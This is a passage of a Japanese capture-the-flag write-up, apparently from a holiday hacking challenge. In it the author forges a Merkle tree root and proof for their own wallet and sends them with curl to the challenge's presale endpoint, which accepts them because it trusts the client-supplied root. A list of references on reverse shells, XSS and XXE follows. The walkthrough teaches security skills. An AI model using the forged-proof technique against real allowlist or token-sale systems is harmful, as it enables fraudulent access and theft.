  -H 'referer: https://boredsporcrowboatsociety.com/presale.html?&challenge=bsrs&username=kusuwada&id=2cbdfabf-842a-4d0c-a163-c7a3ed09822e&area=level5&location=15,15&tokens=' \
  (...omit...)
  --data-raw '{"WalletID":"0xF9583c79C3f1F72397dA43dAE4EE623d509b2117","Root":"0x5f4c484f7609319f956e4d38ff761b8788a49c1f68c43a36d11130b9bf77806b","Proof":"0x3ca7b0f306be105d5e5b040af0e2bc35fb95026afcd89f726e8e94994c312f79","Validate":"false","Session":"2cbdfabf-842a-4d0c-a163-c7a3ed09822e"}' \
  --compressed

あいやー!こっちからのRequestに何故かRoot valueもはいってる!これを改ざんして送ると、もしかして通っちゃうのでは?(サーバーサイドで真の「RootVallue」との突き合わせがされず、送られてきたTreeがただし以下のみのチェックになってるかも?)

ということで、新しく最小構成のTreeを merkle_tree.py で作ってみます。Leaf Nodeは自分のwallet addressと、ギャラリーから拝借してきた一つのみ。

allowlist = ['0xF9583c79C3f1F72397dA43dAE4EE623d509b2117',
             '0xa1861E96DeF10987E1793c8f77E811032069f8E9']

スクリプト実行

$ python merkle_tree.py
Root: 0x5f4c484f7609319f956e4d38ff761b8788a49c1f68c43a36d11130b9bf77806b
Proof: ['0x3ca7b0f306be105d5e5b040af0e2bc35fb95026afcd89f726e8e94994c312f79']

ここで得られたRootとProof、あとは自分のwallet addressを入力して、さっきのcurlコマンドを叩いてみます。

$ curl 'https://boredsporcrowboatsociety.com/cgi-bin/presale'
-H 'authority: boredsporcrowboatsociety.com'
-H 'content-type: application/json'
-H 'origin: https://boredsporcrowboatsociety.com'
-H 'referer: https://boredsporcrowboatsociety.com/presale.html?&challenge=bsrs&username=kusuwada&id=2cbdfabf-842a-4d0c-a163-c7a3ed09822e&area=level5&location=15,15&tokens='
  (...omit...)
--data-raw '{"WalletID":"0xF9583c79C3f1F72397dA43dAE4EE623d509b2117","Root":"0x5f4c484f7609319f956e4d38ff761b8788a49c1f68c43a36d11130b9bf77806b","Proof":"0x3ca7b0f306be105d5e5b040af0e2bc35fb95026afcd89f726e8e94994c312f79","Validate":"false","Session":"2cbdfabf-842a-4d0c-a163-c7a3ed09822e"}'
--compressed

応答

{"Response": "Did you approve a 100 KC transaction for our wallet? The transaction failed with \"Insufficient Allowance\"."}

おや、さっきhatを買ったときに学んだはず。先に100 KCをKTMで承認してこないといけないんだった。承認してきて再度実行。
responseは

{"Response": "Success! You are now the proud owner of BSRS Token #000337. You can find more information at https://boredsporcrowboatsociety.com/TOKENS/BSRS337, or check it out in the gallery!<br>Transaction: 0xe8b3bb96a7169ff943ca977181a8657817f9fdd3ce9d1fd569c6154276ce19ed, Block: 85186<br><br>Remember: Just like we planned, tell everyone you know to <u><em>BUY A BoredSporc</em></u>.<br>When general sales start, and the humans start buying them up, the prices will skyrocket, and we all sell at once!<br><br>The market will tank, but we'll all be rich!!!"}

やったー🙌 買えたーーー!!

バイキングメットなんて素敵な装飾品つけたNFTが買えました。

References

  1. Wireshark Filter for SSL Traffic - InsidePacket
  2. CountryCode.org
  3. Virus Total
  4. Wireshark Tutorial: Examining Dridex Infection Traffic - paloaltonetworks
  5. omerbenamram/evtx
  6. Microsoft Powershell Module Reference
  7. Logging Powershell activities - Digital Forensics & Incident Response
  8. Winlogbeat Reference:PowerShell Module - elastic
  9. MS Windows Event Logging XML - PowerShell - LogRhythm
  10. Suricata-6.0.0
  11. Container is running in privileged mode - snyk Learn
  12. Migrating from GitLab CI/CD to GitHub Actions - GitHub Docs
  13. Reverse Shell (リバースシェル) 入門 & 実践 - 好奇心の足跡
  14. XSS SVG - GHOSTLULZ
  15. SVG line - w3schools
  16. onblur Event - w3schools
  17. CSP: script-src - mdn web docs (mozilla.org)
  18. CSP: style-src - mdn web docs (mozilla.org)
  19. The unsafe-inline Source List Keyword - Content Security Policy (CSP) Quick Reference Guide
  20. CSP Inline Styles - - Content Security Policy (CSP) Quick Reference Guide
  21. XSS Filter Evasion Cheat Sheet - OWASP Cheat Sheet Series
  22. XML External Entity (XXE) Processing - OWASP